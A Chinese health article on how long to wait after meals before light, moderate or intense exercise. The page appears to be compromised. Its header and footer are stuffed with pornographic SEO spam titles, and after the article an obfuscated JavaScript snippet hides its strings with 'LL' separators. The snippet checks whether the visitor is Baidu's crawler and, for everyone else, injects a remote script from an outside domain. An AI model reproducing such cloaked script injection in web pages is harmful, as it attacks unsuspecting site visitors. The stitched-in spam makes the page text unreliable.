久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

飯后多久才能劇烈運動?

2017-04-14 20:40:12  來源:360常識網   熱度:
導語:我們吃完飯是不能劇烈運動的,飯后劇烈運動對于我們來說是一種不健康的運動方式。如果我們在飯后劇烈運動,就會導致腸胃消化功能變弱,并且

我們吃完飯是不能劇烈運動的,飯后劇烈運動對于我們來說是一種不健康的運動方式。如果我們在飯后劇烈運動,就會導致腸胃消化功能變弱,并且還會引發各種疾病,例如闌尾炎。那么飯后到底多久才能劇烈運動呢?小編搜羅了一些關于飯后劇烈運動的知識,接下來就讓我們看一看吧。

運動不僅能強身健體,還能對各種慢性疾病都能極好地預防。大部分人喜歡在飯后運動,其實飯后直接跑步或者運動是不可取的,會給腸胃帶來刺激,引起惡心、嘔吐、胃痙攣等不適癥狀。同時,吃飽飯后身體的消化系統需要大量血液來幫助消化食物、吸收養分。如果立即運動,身體肌肉也需要大量血液來參與,血液同時供應消化系統和肌肉組織,容易導致消化功能紊亂,引起消化不良,也影響運動效果。

那么飯后多久可以運動?

按運動強度來說,散步、走路、廣場舞、太極拳等輕度運動,飯后半小時至一個小時可以進行。慢跑、減肥操、騎自行車等中度運動,可在飯后一個小時至兩個小時進行。長跑、跳繩、踢足球、打籃球等高強度運動,宜在飯后兩小時至三小時再進行。

按用餐量來說,如果運動前的用餐量較大,并且吃的是以蛋白質和脂肪為主的食物,這些食物不好消化,最好在飯后兩個小時以上再運動。如果用餐量較少,并且食物以碳水化合物、蔬菜、水果或流食為主,吃飯與運動之間的間隔時間可以根據運動強度相對縮短。

飯后如何運動

飯后半個小時:在這半個校內,以休息為主,靜坐與家人朋友一起飯后的聊天,多聊些茶余飯后的開心的話題。既保持良好的心情,又保障了食物的最佳消化。

看完了小編對飯后劇烈運動的介紹,想必大家都應該明白,我們在吃完飯后的一小時到一個半小時都不能運動。只有等到食物消化完成后,我們才可以慢慢展開運動。在飯后我們也可以去散步,這樣既能鍛煉身體,也有助于食物的消化。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 黄色片av | 国产精品欧美综合 | 亚洲成人一区二区三区 | 综合一区在线观看 | 91精品久久久久久久久久入口 | 久久亚洲成人av | 国产精品国产三级国产专业不 | 日日干夜夜干 | 亚洲三区在线观看 | www嫩草| 欧美黄色a视频 | 一区二区免费 | 免费看毛片网 | 国产成人一区 | 狠狠色狠狠色合久久伊人 | 91在线精品秘密一区二区 | baoyu123成人免费看视频 | 国产精品一区av | 成人网电影 | 中国一级特黄毛片大片 | 国产精品久久久久久 | 亚洲精品中文字幕乱码无线 | 成人欧美一区二区三区色青冈 | 成人午夜av| 色噜噜久久 | 久久国产一区二区三区 | 一本久久a久久精品亚洲 | 精品国产一区二区三区性色av | 一区二区三区视频 | 日韩不卡一区二区三区 | 国产一区视频在线 | 特级黄一级播放 | 精品国产视频 | av大片在线免费观看 | 国产一级片在线 | 欧美三区视频 | 日韩欧美在线观看一区二区三区 | 最近免费中文字幕大全免费版视频 | 亚洲毛片在线观看 | 精品成人免费一区二区在线播放 | 香蕉久久网 |